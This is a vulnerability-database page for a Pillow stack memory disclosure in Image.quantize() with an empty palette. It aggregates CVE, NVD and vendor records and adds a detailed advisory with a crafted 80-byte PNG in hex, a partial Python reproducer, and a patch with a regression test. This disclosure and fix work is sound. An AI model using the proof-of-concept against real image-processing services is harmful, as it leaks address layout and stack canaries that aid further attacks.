Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-112898 (GCVE-0-2026-112898)
Vulnerability from cvelistv5 – Published: 2026-10-19 22:04 – Updated: 2026-10-28 15:15- CWE-457 - Use of Uninitialized Variable
| URL | Tags |
|---|---|
| https://github.com/python-pillow/Pillow/security/… | x_refsource_CONFIRM |
| https://github.com/python-pillow/Pillow/commit/13… | x_refsource_MISC |
| https://github.com/python-pillow/Pillow/releases/… | x_refsource_MISC |
| Vendor | Product | Version | |
|---|---|---|---|
| python-pillow | Pillow |
Affected:
>= 9.1.0, < 13.0.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-112898",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-28T15:15:33.855924Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-28T15:15:44.187Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-rfgq-q3w2-pmv2"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "Pillow",
"vendor": "python-pillow",
"versions": [
{
"status": "affected",
"version": "\u003e= 9.1.0, \u003c 13.0.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Pillow is a Python imaging library. From 9.1.0 until 13.0.0, Pillow can disclose uninitialized stack memory when Image.quantize() uses an empty palette. ImagingPaletteCacheUpdate() leaves a local cache array uninitialized when the palette has zero entries, and the conversion path emits those bytes as output pixel indices. An attacker who controls the palette image can obtain stack contents from a returned PNG or GIF. This can disclose addresses and stack-canary data without an out-of-bounds access, memory corruption, or process crash. This issue is fixed in version 13.0.0."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 6.9,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "NONE"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-457",
"description": "CWE-457: Use of Uninitialized Variable",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-19T22:04:23.462Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-rfgq-q3w2-pmv2",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-rfgq-q3w2-pmv2"
},
{
"name": "https://github.com/python-pillow/Pillow/commit/13943c8f857b22f073d30f0ef9b725a0d255f1a4",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/python-pillow/Pillow/commit/13943c8f857b22f073d30f0ef9b725a0d255f1a4"
},
{
"name": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
}
],
"source": {
"advisory": "GHSA-rfgq-q3w2-pmv2",
"discovery": "UNKNOWN"
},
"title": "Pillow: Image.quantize() with empty palette leaks uninitialized stack memory"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-112898",
"datePublished": "2026-10-19T22:04:23.462Z",
"dateReserved": "2026-10-19T20:16:09.857Z",
"dateUpdated": "2026-10-28T15:15:44.187Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-112898",
"date": "2026-11-16",
"epss": "0.00339",
"percentile": "0.27772"
},
"nvd": {
"cve": {
"affected": [
{
"affectedData": [
{
"product": "Pillow",
"vendor": "python-pillow",
"versions": [
{
"status": "affected",
"version": "\u003e= 9.1.0, \u003c 13.0.0"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:python:pillow:*:*:*:*:*:*:*:*",
"matchCriteriaId": "E4F24CF8-E3D8-4D41-B03F-C6C486516B0E",
"versionEndExcluding": "13.0.0",
"versionStartIncluding": "9.1.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Pillow is a Python imaging library. From 9.1.0 until 13.0.0, Pillow can disclose uninitialized stack memory when Image.quantize() uses an empty palette. ImagingPaletteCacheUpdate() leaves a local cache array uninitialized when the palette has zero entries, and the conversion path emits those bytes as output pixel indices. An attacker who controls the palette image can obtain stack contents from a returned PNG or GIF. This can disclose addresses and stack-canary data without an out-of-bounds access, memory corruption, or process crash. This issue is fixed in version 13.0.0."
}
],
"id": "CVE-2026-112898",
"lastModified": "2026-10-28T16:17:02.557",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 1.4,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": [
{
"cvssData": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"availabilityRequirement": "NOT_DEFINED",
"baseScore": 6.9,
"baseSeverity": "MEDIUM",
"confidentialityRequirement": "NOT_DEFINED",
"exploitMaturity": "NOT_DEFINED",
"integrityRequirement": "NOT_DEFINED",
"modifiedAttackComplexity": "NOT_DEFINED",
"modifiedAttackRequirements": "NOT_DEFINED",
"modifiedAttackVector": "NOT_DEFINED",
"modifiedPrivilegesRequired": "NOT_DEFINED",
"modifiedSubAvailabilityImpact": "NOT_DEFINED",
"modifiedSubConfidentialityImpact": "NOT_DEFINED",
"modifiedSubIntegrityImpact": "NOT_DEFINED",
"modifiedUserInteraction": "NOT_DEFINED",
"modifiedVulnAvailabilityImpact": "NOT_DEFINED",
"modifiedVulnConfidentialityImpact": "NOT_DEFINED",
"modifiedVulnIntegrityImpact": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-112898",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "yes"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-28T15:15:33.855924Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-10-19T22:17:10.030",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/python-pillow/Pillow/commit/13943c8f857b22f073d30f0ef9b725a0d255f1a4"
},
{
"source": "security-advisories@github.com",
"tags": [
"Release Notes"
],
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Mitigation",
"Vendor Advisory"
],
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-rfgq-q3w2-pmv2"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Mitigation",
"Vendor Advisory"
],
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-rfgq-q3w2-pmv2"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-457"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
},
"redhat_vex": {
"aggregate_severity": "Moderate",
"current_release_date": "2026-11-13T13:05:02+00:00",
"cve": "CVE-2026-112898",
"id": "CVE-2026-112898",
"initial_release_date": "2026-10-19T22:04:23.462000+00:00",
"product_status:fixed": "23",
"product_status:known_affected": "78",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "pillow: Pillow: Information disclosure via empty palette quantization",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-112898.json",
"version": "3"
},
"suse_vex": {
"aggregate_severity": "moderate",
"current_release_date": "2026-11-12T00:40:43Z",
"cve": "CVE-2026-112898",
"id": "CVE-2026-112898",
"initial_release_date": "2026-10-21T16:44:20Z",
"product_status:known_not_affected": "2",
"product_status:recommended": "40",
"source": "SUSE CSAF VEX",
"status": "interim",
"title": "SUSE CVE CVE-2026-112898",
"url": "https://ftp.suse.com/pub/projects/security/csaf-vex/2026/cve-2026-112898.json",
"version": "8"
},
"vulnrichment": {
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-112898",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-28T15:15:33.855924Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-28T15:11:10.507Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-rfgq-q3w2-pmv2"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "Pillow",
"vendor": "python-pillow",
"versions": [
{
"status": "affected",
"version": "\u003e= 9.1.0, \u003c 13.0.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Pillow is a Python imaging library. From 9.1.0 until 13.0.0, Pillow can disclose uninitialized stack memory when Image.quantize() uses an empty palette. ImagingPaletteCacheUpdate() leaves a local cache array uninitialized when the palette has zero entries, and the conversion path emits those bytes as output pixel indices. An attacker who controls the palette image can obtain stack contents from a returned PNG or GIF. This can disclose addresses and stack-canary data without an out-of-bounds access, memory corruption, or process crash. This issue is fixed in version 13.0.0."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 6.9,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "NONE"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-457",
"description": "CWE-457: Use of Uninitialized Variable",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-19T22:04:23.462Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-rfgq-q3w2-pmv2",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-rfgq-q3w2-pmv2"
},
{
"name": "https://github.com/python-pillow/Pillow/commit/13943c8f857b22f073d30f0ef9b725a0d255f1a4",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/python-pillow/Pillow/commit/13943c8f857b22f073d30f0ef9b725a0d255f1a4"
},
{
"name": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
}
],
"source": {
"advisory": "GHSA-rfgq-q3w2-pmv2",
"discovery": "UNKNOWN"
},
"title": "Pillow: Image.quantize() with empty palette leaks uninitialized stack memory"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-112898",
"datePublished": "2026-10-19T22:04:23.462Z",
"dateReserved": "2026-10-19T20:16:09.857Z",
"dateUpdated": "2026-10-28T15:15:44.187Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
bit-pillow-2026-112898
Vulnerability from bitnami_vulndb
Pillow is a Python imaging library. From 9.1.0 until 13.0.0, Pillow can disclose uninitialized stack memory when Image.quantize() uses an empty palette. ImagingPaletteCacheUpdate() leaves a local cache array uninitialized when the palette has zero entries, and the conversion path emits those bytes as output pixel indices. An attacker who controls the palette image can obtain stack contents from a returned PNG or GIF. This can disclose addresses and stack-canary data without an out-of-bounds access, memory corruption, or process crash. This issue is fixed in version 13.0.0.
{
"affected": [
{
"package": {
"ecosystem": "Bitnami",
"name": "pillow",
"purl": "pkg:bitnami/pillow"
},
"ranges": [
{
"events": [
{
"introduced": "9.1.0"
},
{
"fixed": "13.0.0"
}
],
"type": "SEMVER"
}
],
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
],
"aliases": [
"CVE-2026-112898"
],
"database_specific": {
"cpes": [
"cpe:2.3:a:python:pillow:*:*:*:*:*:python:*:*"
],
"severity": "Medium"
},
"details": "Pillow is a Python imaging library. From 9.1.0 until 13.0.0, Pillow can disclose uninitialized stack memory when Image.quantize() uses an empty palette. ImagingPaletteCacheUpdate() leaves a local cache array uninitialized when the palette has zero entries, and the conversion path emits those bytes as output pixel indices. An attacker who controls the palette image can obtain stack contents from a returned PNG or GIF. This can disclose addresses and stack-canary data without an out-of-bounds access, memory corruption, or process crash. This issue is fixed in version 13.0.0.",
"id": "BIT-pillow-2026-112898",
"modified": "2026-10-29T09:16:42.832Z",
"published": "2026-10-26T05:56:00.220Z",
"references": [
{
"type": "FIX",
"url": "https://github.com/python-pillow/Pillow/commit/13943c8f857b22f073d30f0ef9b725a0d255f1a4"
},
{
"type": "ARTICLE",
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
},
{
"type": "ADVISORY",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-rfgq-q3w2-pmv2"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112898"
}
],
"schema_version": "1.6.2",
"summary": "Pillow: Image.quantize() with empty palette leaks uninitialized stack memory"
}
BREW-AIDER-CVE-2026-112898 (GHSA-RFGQ-Q3W2-PMV2)
Vulnerability from osv_homebrew – Published: 2026-10-22 09:13 – Updated: 2026-10-29 21:58 – Source website============================================================================
Image.quantize() with empty palette leaks uninitialized stack memory
Location: src/libImaging/Palette.c:216 in ImagingPaletteCacheUpdate()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
When an application lets a user supply the palette image for Pillow's Image.quantize(palette=...), the user can get back 512 bytes of the server process's stack memory in the pixels of the returned image. An 80-byte PNG with an empty palette is enough, and the leaked bytes survive saving to PNG or GIF. In the runs examined, those bytes included memory addresses inside the stack, heap, libc, libpython and Pillow's own C module, along with the stack-protector canary.
The bug is in ImagingPaletteCacheUpdate() in src/libImaging/Palette.c. It fills a local UINT8 c[512] only inside loops bounded by palette->size. When the palette has zero entries, the array is never written, but it is still copied into the colour cache. topalette() in src/libImaging/Convert.c then emits the cached values as output pixel indices. topalette() rejects a NULL palette but not one with size == 0. Three inputs produce such a zero-entry "P" image: a PNG with a zero-length PLTE chunk opened with Image.open(), a colour-mapped TGA with colour-map length 0, or a bare Image.new("P", ...). The attacker must control the palette image; the source image can be anything, and RGB sources are affected with either dither mode. There is no out-of-bounds access and no memory corruption. The consequence is a bounded stack disclosure that can reveal address layout and the canary of a long-lived worker, with no crash and no log entry. The attached reproducer quantizes a 512-colour strip against the empty-palette PNG and finds 8 of the 64 output words pointing into the process's own [stack] mapping, while a one-entry palette control yields all zeros. The behaviour was introduced in commit 54cb09d8b48c (first released in 9.1.0). The Image.new("P", ...) route exists since 10.1.0.
Details
ImagingPaletteCacheUpdate() (src/libImaging/Palette.c:154) computes, for one 8×8×8 box of the colour cache, the nearest palette index for each of the 512 slots into a local UINT8 c[512] and then copies c[] into the cache. c[] is only ever written inside for (i = 0; i < palette->size; i++). When the palette has zero entries nothing writes it, the untouched stack bytes are copied into the cache, and topalette() (src/libImaging/Convert.c:1145) emits them as the output pixels of Image.quantize(palette=...). The root cause is that topalette() only rejects a NULL palette, never one with palette->size == 0, while ImagingPaletteCacheUpdate() silently assumes size >= 1. A zero-entry "P" image is what Image.open() produces for a PNG whose PLTE chunk has length 0 (or a colour-mapped TGA with colour-map length 0); Image.new("P", size) without a subsequent putpalette() yields one as well. Both dither modes (Dither.NONE and the default Floyd-Steinberg) are affected for RGB sources (an L source takes the grayscale copy path and never consults the cache).
Showing it with the installed build, no special flags. The 80-byte PNG below is 4×4, bit depth 8, colour type 3, with a zero-length PLTE and an all-zero IDAT:
89504e470d0a1a0a 0000000d49484452 0000000400000004 0803000000 9e2f6e4c
00000000 504c5445 4ba88955
0000000b 49444154 789c6360c0040000140001 7dfe1eee
00000000 49454e44 ae426082
pal = Image.open(io.BytesIO(png)); pal.load() # pal.mode == "P", pal.im.getpalette("RGB") == b""
src = Image.new("RGB", (512, 1))
src.putdata([(r*4, g*4, b*4) for r in range(8) for g in range(8) for b in range(8)])
out = src.quantize(palette=pal, dither=Image.Dither.NONE)
out.tobytes() # 512 bytes, different in every process
The 512 source colours are chosen so that each pixel lands in a distinct slot of the cache box for r,g,b ∈ [0,32), in slot order, so out.tobytes() is exactly c[0..511]. Read as 64 little-endian 8-byte words and resolved against the same process's /proc/self/maps, a typical run gives 43 words that are addresses inside the process's own mappings — 8 in [stack], several in [heap], libc.so.6, libpython3.12.so and _imaging.cpython-312-x86_64-linux-gnu.so — and 3 words equal to the thread's stack-protector canary (read from fs:0x28 for comparison). The same PNG with a 3-byte PLTE (one entry) gives 512 zero bytes in every run. out.save(buf, "PNG") succeeds, so the bytes leave the process in an ordinary image. Under valgrind (run against a strip --strip-debug copy of _imaging.so or a gcc build, since valgrind 3.19 cannot read clang's DWARF5) the report carries the origin Uninitialised value was created by a stack allocation at ImagingPaletteCacheUpdate. With Dither.NONE topalette only copies the bytes, so the first use of uninitialised value is flagged where Python first branches on the pixel data; with the default Floyd-Steinberg dither it is flagged inside topalette (inlined into ImagingConvert), where the cached index is used to address palette->palette.
Code path
File → empty C palette. PngImagePlugin.chunk_PLTE (src/PIL/PngImagePlugin.py:499-505) stores the chunk payload whatever its length, _open wraps it as ImagePalette.raw("RGB", b"") (:836-838), and Image.load() realises it with self.im.putpalette("RGB", "RGB", b"") (src/PIL/Image.py:989-990). _putpalette (src/_imaging.c:1850-1868) rejects only more than 256 entries and sets palette->size = palettesize * 8 / bits, i.e. 0. TgaImagePlugin._open (src/PIL/TgaImagePlugin.py:121-135) builds the same empty palette from a colour-mapped TGA whose colour-map-length field is 0.
API → sink. Image.quantize(palette=pal) (src/PIL/Image.py:1329-1338) checks only palette.mode == "P" and calls self.im.convert("P", dither, palette.im) → ImagingConvert → topalette(..., inpalette=<that palette>, dither). topalette tests the palette for NULL (Convert.c:1162, :1178) but not for size == 0, allocates the cache (every slot 0x100 = "not computed"), and for each source pixel:
// src/libImaging/Convert.c:1319-1327 (non-dither path; the dither path at 1252-1265 is the same)
cache = &ImagingPaletteCache(palette, r, g, b);
if (cache[0] == 0x100) {
ImagingPaletteCacheUpdate(palette, r, g, b);
}
…
out[x] = (UINT8)cache[0];
Inside ImagingPaletteCacheUpdate the only store to c[] is in step 2, and both step 1 and step 2 iterate over palette entries:
// src/libImaging/Palette.c:160-161
unsigned int d[BOXVOLUME];
UINT8 c[BOXVOLUME];
…
// src/libImaging/Palette.c:212-221, 240-242
for (i = 0; i < BOXVOLUME; i++) {
d[i] = (unsigned int)~0; /* d[] is initialised, c[] is not */
}
for (i = 0; i < palette->size; i++) { /* size == 0: body never runs */
if (dmin[i] <= dmax) {
…
if ((unsigned int)bd < d[j]) {
d[j] = bd;
c[j] = (UINT8)i;
}
For any non-empty palette every slot is written: the entry that produced dmax passes dmin[i] <= dmax, and because d[j] starts at ~0 the first visiting entry always stores into c[j]. With size == 0 the loop is skipped entirely and step 3 publishes the raw stack array:
// src/libImaging/Palette.c:262-266
j = 0;
for (r = r0; r < r1; r += 4) {
for (g = g0; g < g1; g += 4) {
for (b = b0; b < b1; b += 4) {
ImagingPaletteCache(palette, r, g, b) = c[j++];
cache[0] is then ≤ 255 and palette->palette is a fixed 1024-byte array, so the subsequent palette->palette[cache[0] * 4] reads in the dither path stay in bounds; the defect is purely that stack contents become pixel values. Because no deeper call happens between successive ImagingPaletteCacheUpdate invocations in the pixel loop, every box yields the same 512 bytes — whatever earlier, deeper call chains (the PNG decode, the interpreter) left at that stack depth.
The behaviour was introduced in 54cb09d8b48c ("When converting to P, restrict colors to palette size", 2022-02-16), first released in 9.1.0; before it, the cache update iterated over all 256 palette slots. The Image.new("P", ...) route additionally depends on fd310512b95a ("Set C palette to be empty by default", first in 10.1.0); before that a fresh "P" image carried a 256-entry grey ramp.
Impact
An application that lets a user supply the reference palette image for Image.quantize(palette=...) — palette-swap / "apply this palette" features, sprite and GIF tooling, pixel-art converters — and returns the quantised result hands that user 512 bytes of the worker's C stack, encoded as pixel indices (directly readable from the saved PNG/GIF, since index values survive losslessly). In the build examined those bytes contain return addresses and frame pointers into the stack, heap, libc, libpython and _imaging.so, plus the stack-protector canary: an ASLR and canary disclosure from a long-lived server process, obtained with an 80-byte upload, no crash and no log entry. The precondition is that the attacker controls the palette image (the source image can be anything with at least one colour per cache box of interest); when the palette image is application-owned the path is not reachable. There is no out-of-bounds access and no memory corruption.
Reproducing
repro is a short, single-file Python script that runs against the installed Pillow. It doesn't rebuild anything or start any other process, and it finishes in about 0.1 s.
png_with_plte()builds a 4×4 palette-mode PNG (bit depth 8, colour type 3) around a givenPLTEpayload. With an empty payload it produces exactly the 80-byte file shown above.quantize_against()does what an "apply this palette" feature does: it opens the PNG withImage.open()and callsquantize(palette=pal, dither=Image.Dither.NONE)on a 512×1 RGB strip. The strip holds the colours(r*4, g*4, b*4)forr, g, bin0..7, one for each slot of the colour-cache boxr, g, b ∈ [0,32)and in slot order. That makes output pixeljexactlyc[j]ofImagingPaletteCacheUpdate().- Control: a one-entry
PLTE. The only valid index is 0, and every output pixel is 0. - Attack: the same PNG with a zero-length
PLTE.quantize()returns an image without complaint, and its pixels contain about 80 distinct values. - Check: the script reads the 512 output bytes as 64 little-endian 8-byte words and compares them with the
[stack]range in the script's own/proc/self/maps. It prints each word that points into the stack. A typical run finds 8, e.g.pixels 0..7 = 0x00007ffd959c3fa0 <- pointer into [stack]. Pixel data can only hold stack addresses if it was copied from the stack.
The script prints BUG if the control is all zeros and at least two output words are stack addresses. It prints OK if quantize() rejects the empty palette with ValueError, which is what the attached patch does, or if the output has no stack pointers. The script was also checked against an out-of-tree rebuild, which is not part of the script. With the attached patch it prints attack (empty PLTE): rejected: empty palette / OK. With only the Palette.c half of the patch, the output is 512 zero bytes and it prints OK.
Suggested fix
The attached patch rejects an empty palette in topalette() before any work is done, with ValueError("empty palette") in the same idiom as the neighbouring "no palette" / "conversion not supported" checks, so Image.quantize() raises a normal ValueError. It also zero-fills c[] alongside d[] in ImagingPaletteCacheUpdate() so no present or future caller can copy stack contents into the cache, and adds a regression test test_empty_palette to Tests/test_image_quantize.py. quantize(palette=) is the only path that hands a caller-supplied palette to topalette(); the NULL-palette branches always build 256- or 226-entry palettes and are unaffected. The one behaviour change is that quantizing against an empty palette (including a bare Image.new("P", ...)) now raises instead of returning garbage indices. The C changes:
--- a/src/libImaging/Convert.c
+++ b/src/libImaging/Convert.c
@@ -1159,6 +1159,10 @@ topalette(
alpha = mode == IMAGING_MODE_PA;
+ if (palette != NULL && palette->size <= 0) {
+ return (Imaging)ImagingError_ValueError("empty palette");
+ }
+
if (palette == NULL) {
/* FIXME: make user configurable */
if (imIn->bands == 1) {
--- a/src/libImaging/Palette.c
+++ b/src/libImaging/Palette.c
@@ -211,6 +211,7 @@ ImagingPaletteCacheUpdate(ImagingPalette palette, int r, int g, int b) {
for (i = 0; i < BOXVOLUME; i++) {
d[i] = (unsigned int)~0;
+ c[i] = 0;
}
for (i = 0; i < palette->size; i++) {
Applied to a clean copy of the tree and rebuilt, the reproducer's attack step fails with ValueError: empty palette and the script prints OK; the one-entry control is unchanged. Apart from the regression test, the patch does not touch the Python code in src/PIL. Optionally PngImagePlugin.chunk_PLTE could additionally raise SyntaxError for a PLTE whose length is 0 or not a multiple of 3, as the PNG specification requires 1–256 entries, and Image.quantize() could raise a clearer Python-level error when palette.palette is empty.
The patch
Raise ValueError in topalette() for a palette with no entries and zero-initialise the cache slot array in ImagingPaletteCacheUpdate()
Applies to src/libImaging/Convert.c at the commit above.
diff --git a/Tests/test_image_quantize.py b/Tests/test_image_quantize.py
index 887628560..dcd1d901e 100644
--- a/Tests/test_image_quantize.py
+++ b/Tests/test_image_quantize.py
@@ -179,3 +179,13 @@ def test_small_palette() -> None:
quantized_colors = im.getcolors()
assert quantized_colors is not None
assert len(quantized_colors) == 2
+
+
+def test_empty_palette() -> None:
+ im = hopper()
+
+ p = Image.new("P", (1, 1))
+ p.putpalette(b"")
+
+ with pytest.raises(ValueError):
+ im.quantize(palette=p)
diff --git a/src/libImaging/Convert.c b/src/libImaging/Convert.c
index 4a35a9a1f..7746d9255 100644
--- a/src/libImaging/Convert.c
+++ b/src/libImaging/Convert.c
@@ -1159,6 +1159,10 @@ topalette(
alpha = mode == IMAGING_MODE_PA;
+ if (palette != NULL && palette->size <= 0) {
+ return (Imaging)ImagingError_ValueError("empty palette");
+ }
+
if (palette == NULL) {
/* FIXME: make user configurable */
if (imIn->bands == 1) {
diff --git a/src/libImaging/Palette.c b/src/libImaging/Palette.c
index b2dacf656..ceb69d3dc 100644
--- a/src/libImaging/Palette.c
+++ b/src/libImaging/Palette.c
@@ -211,6 +211,7 @@ ImagingPaletteCacheUpdate(ImagingPalette palette, int r, int g, int b) {
for (i = 0; i < BOXVOLUME; i++) {
d[i] = (unsigned int)~0;
+ c[i] = 0;
}
for (i = 0; i < palette->size; i++) {
The reproducer
Reproducer —repro, 2,975 bytes (click to open)
Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.
#!/usr/bin/env python3
# Pillow: Image.quantize(palette=<P image with an empty palette>) returns
# uninitialised C stack bytes as pixel values.
#
# ImagingPaletteCacheUpdate() (src/libImaging/Palette.c) only writes its local
# UINT8 c[512] inside `for (i = 0; i < palette->size; i++)`. A PNG with a
# zero-length PLTE chunk gives palette->size == 0, so c[] is never written and
# its raw stack contents are copied into the colour cache, which topalette()
# (src/libImaging/Convert.c) then emits as the output pixels.
import io
import struct
import zlib
from PIL import Image
def png_with_plte(plte):
"""A 4x4 palette-mode (colour type 3) PNG whose PLTE chunk holds `plte`."""
def chunk(tag, data):
return (struct.pack(">I", len(data)) + tag + data
+ struct.pack(">I", zlib.crc32(tag + data)))
ihdr = struct.pack(">IIBBBBB", 4, 4, 8, 3, 0, 0, 0)
pixels = zlib.compress(b"\x00" * 4 * 5)
return (b"\x89PNG\r\n\x1a\n" + chunk(b"IHDR", ihdr) + chunk(b"PLTE", plte)
+ chunk(b"IDAT", pixels) + chunk(b"IEND", b""))
def quantize_against(palette_png):
"""What an "apply this palette" feature does with an uploaded palette image."""
pal = Image.open(io.BytesIO(palette_png))
# 512 colours, one per slot of the colour-cache box r,g,b in [0,32), in slot
# order: output pixel j is exactly c[j] of ImagingPaletteCacheUpdate().
src = Image.new("RGB", (512, 1))
src.putdata([(r * 4, g * 4, b * 4)
for r in range(8) for g in range(8) for b in range(8)])
